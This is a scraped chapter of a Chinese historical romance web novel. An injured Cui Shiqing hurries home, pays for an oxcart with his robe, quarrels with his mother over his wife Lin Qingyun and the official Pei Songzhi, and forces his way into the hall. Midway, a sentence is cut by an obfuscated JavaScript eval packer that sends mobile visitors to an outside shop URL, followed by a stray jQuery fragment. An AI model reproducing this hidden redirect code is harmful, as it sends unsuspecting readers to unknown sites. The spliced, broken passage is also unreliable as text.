崔时清听着这话直觉便不妙。

    昨日裴颂之用母亲强逼他在休书上盖了手印,却与母亲说还有公事需要证词。

    可是他其实早已从薛羲和手里拿到了这份口供,甚至李中丞已死,这口供便算是坐实了,他已能同杨皇后复命。

    但他偏偏用了这个借口扣着人,想也知道他是还要从母亲手中得到什么。

    裴颂之定然另有所图。

    崔时清心下一凛,慌忙奔出了检事司衙门,拦着路边一辆牛车便道:“去宣阳坊,崔府。”

    “宣阳坊?”

    “宣阳坊,崔府,要快。”崔时清背上一阵针扎似的剧痛,看来是走得太急以至伤口崩裂开。

    到底检事司里的应急处理比不上崔府平日里请的大夫,更别提这两日连着受刑,根本没时候休养。

    “承惠,五十钱,公子。”

    “好,好……”崔时清慌忙摸向衣袋。

    什么都没有。

    他原本的丝袍早在检事司里被打烂了,自然身上一应佩饰金鱼袋革带玉佩金三事之流也都去了个干净。

    恐怕是一早就给检事司狱里头的皂吏瓜分干净了。

    此刻他身无分文,身上就一件外袍体面些,还是前两日青云送来的。

    “能否到了崔府我再令门房给付……”

    “得了吧,您这样子像是崔府那等大户人家公子么?”车夫上下打量了他几眼,“上门打秋风还让崔府给你付车钱?没钱就走着去!”

    “我赶时间要快些……”崔时清仍坐在车上不动,“只要到了崔府,一百钱也行,我是崔氏三郎……”

    车夫摆摆手便要将崔时清推下车去:“你赶时间?你也得有钱啊!公子,我送您过去了,谁给我付车钱?你说是崔家三郎就是崔家三郎了》我还说我是皇宫里的太子呢!走走走,别在这碍事。”

    车夫一把揎开崔时清,直将他推到了路中间:“您就走着去宣阳坊吧!”

    “我……”崔时清一时身子不稳,直直从车上摔了下来,仍旧抓着车尾不放,“我身上没现钱,这件衣裳总行吧,喏,新做的青丝袍,拿去估衣铺能换一两银了!”

    车夫这才上下打量了几眼他这身袍子,见确是丝袍才停了车让他上来:“脱吧,别赖账。”

    “君子尚衣冠,我怎能当街宽衣解带……”

    “脱不脱?”车夫一挥鞭子,又要赶他下车。

    “……我脱给你就是了。”

    到底是赶时间回家重要。

    尚不知如今母亲与青云如何,裴颂之此刻必定在崔府讨价还价了。

    崔时清眼睛一闭,心一横,当下解了丝袍,团作一团塞给了车夫:“拿着吧!”

    “哎,好嘞,郎君坐稳了!”车夫收了丝袍,这才一打牛背,赶着车往城南宣阳坊去。

    检事司离宣阳坊隔着好几座坊市,乃至还要穿过东市绕上好大一圈。这牛车惯来是拉送菜肉给城里大户,自然也习惯了绕去大户人家府邸后门。

    “走正门!走正门就是了!”

    “哎哟,郎君,咱们这牛车停在正门,不出三息就该给仆役一顿好打了,”车夫撇撇嘴,“我算看出来了,您是个真郎君,就没过过苦日子。”

    “走正门,我让他们再给你些钱财。”崔时清慌忙按住车夫,“往左去,你都说了我是个真郎君,自然能叫动家中仆役。”

    车夫看了他几眼,终究是狐疑点了头:“郎君当真另给赏钱?”

    “当真。”

    “得,咱们就冒险一把!”车夫这才喜笑颜开,赶着牛车左转到了崔府正门。

    “哪来的牛车,停在我们府门口……”

    果不其然,牛车才停稳门房便带了几个小厮出来赶人,崔时清见状忙跳下车,却一时不备绊了一下,竟尔一把滚了下来,激得背上伤口又崩裂开。

    “是我……是我……”崔时清慌忙举手,“是三郎……”

    门房愣了片刻才看清了崔时清,慌忙扑上去扶着人起身:“三郎!哎,郎君回来了!郎君快起来,快起来,哎哟,郎君总算回来了……郎君这是……”

    他看了一眼牛车。

    “阿伯,快,给这位先生二百钱,我说好的价钱。”崔时清抓着门房道,“青云呢?母亲在哪?今日裴颂之是不是来过?”

    可怜门房教他这一通话问得不知该先答哪一句,只好道:“哦,二百钱……二百钱贵了郎君,三十钱就够了。”

    别说二百钱了,连身上衣裳都押出去了!崔时清摆摆手道:“二百权当是赏钱了阿伯,青云和母亲在哪?”

    “三娘子想来是在内院,夫人这时辰惯来也在内院……”门房慌忙取了二百钱塞给车夫将人赶走,一面带着崔时清往府里去,“郎君先前问的是……?”

    “裴颂之……大理寺少卿。”

    “哦,哦,是一位年轻官人吧?今日一早便来了,夫人还专程命人引了他去正堂招待,说是夫人梳洗过很快便与大郎君一同到得正堂。”

    崔时清这时候才舒了一口气。

    看来还有些时候,大哥还能拖住裴颂之片刻。

    “我先回院子去瞧瞧青云。”崔时清脚步总算慢下来些,“这几日也不知青云在家如何了。”

    门房便笑道:“是,是,郎君应当的,郎君这些日子受苦了,也是该好好休养着。”

    “我也想着,”崔时清笑道,“这几日劳累娘子奔波,此番归家该多陪陪娘子才是。”

    他到得垂花门,便送别了门房,径自往小院去。

    然而林青云不在院中,院中只有几个年长仆妇。

    崔时清心下一沉。

    “青云在何处?”他慌忙抓了个仆妇来。

    “这……”仆妇不由转开了眼睛,“郎君今日归家是喜事,还是先与夫人知会一声……”

    “青云在母亲处?”

    “这……今晨夫人身边人来接过娘子……”

    崔时清当即放了人直奔李夫人院中。

    李夫人才听了外头来报说三郎归家了,正吩咐人又是请郎中又是备下热水热饭,不防崔时清径直推了门便闯进院内。

    “母亲,青云在何处?”

    李夫人当即笑意便冻在脸上,凝实了,渐渐转成

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600315|204843||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了青,越发显得一张脸长而瘦削,透出几分黑青的刻薄来。

    “你在母亲这里,却要问你那娘子?”

    “母亲,我不是……我听说裴颂之今早来了府上……”崔时清慌忙解释起来,“我……我担心……”

    “担心他要抢了你娘子?”李夫人抢白道,“你看看你,身上伤还没好,问这些做什么,回来就行了,母亲已经命人去请了大夫,你正好在家中好生养着身子,日后娘再与你说正经的卢氏女。”

    崔时清浑身一凛,在堂中站定了,两眼直直盯住李夫人。

    “母亲,儿子非青云不可。”

    “那么个破落户到底有什么好!凭她生得好看么?”李夫人也忍不住一拍桌子站起来,“三郎,你虽说不是长子,日后也总要撑起我们崔氏这一房的门楣,到时候给人瞧见家中是这么个不识大体又出身低微的泼皮,你在同僚当中如何能抬起头?”

    崔时清并未当即应声,只是盯着李夫人。

    过了好半晌,他才问了一句:“母亲是否答应了裴颂之另外的要求?”

    李夫人一时无言,默默移开了视线。

    答案呼之欲出了。

    崔时清转身便走:“母亲,儿子说过了,只要这一个娘子,什么卢氏女,母亲留着自己婚配!”

    “你给我站住!”

    “你休书已经签了,林青云现在和你一点关系都没有,那个检事司使想要她有的是办法,你能做什么?不如把她送给检事司使,三郎,你能活着回来才是最重要的。”

    崔时清脚下一顿,回头看向李夫人。

    李夫人教两个侍女扶着,本是要赶上来拦他,却给他这一眼扫得僵在了原地。

    “母亲也读过汉乐府。”崔时清道,“莫非不知‘孔雀东南飞,五里一徘徊’么?况且青云是我的娘子,裴颂之小人行径,母亲怎能以为他有什么信誉可言?”

    “你竟敢以生死胁迫你母亲?!”李夫人当即便要抄起拐杖赶上去,“为了一个和外男不清不楚的妇人!”

    “儿子不敢,母亲,只是青云无论如何也不能交到裴颂之手里。”

    崔时清微微一弯腰致意,再不回头,径直往前院而去,只能见着中衣后背一片绛红缓缓洇开。

    “你等等!”李夫人慌忙疾走几步,“三郎!好歹让大夫看过伤处,三郎!”

    崔时清脚下一滞,终究还是没有停步:

    “来不及了,母亲。”

    裴颂之与青云还在外院正堂,裴颂之阴险小人,拿了休书还不知道要做什么。

    让青云知道他已签下休书,她会作何想?

    今日母亲还将青云与裴颂之关在一处,她又作何想?

    崔时清顾不上背上伤口开裂渗血,一路冲到堂屋门口,对看守仆妇怒道:“开门!”

    “郎君,夫人的吩咐……”

    “开门!”崔时清吼道,四下张望,第一次怨起家中规矩森严来——前院里竟然找不到一个可以撞门的东西。

    他咬咬牙,全身绷紧了,狠命往门上撞过去。

    门开了。

    “娘子!”